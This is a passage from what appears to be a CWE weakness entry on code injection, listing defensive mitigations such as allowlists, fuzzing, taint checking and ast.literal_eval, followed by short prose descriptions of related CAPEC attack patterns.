- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.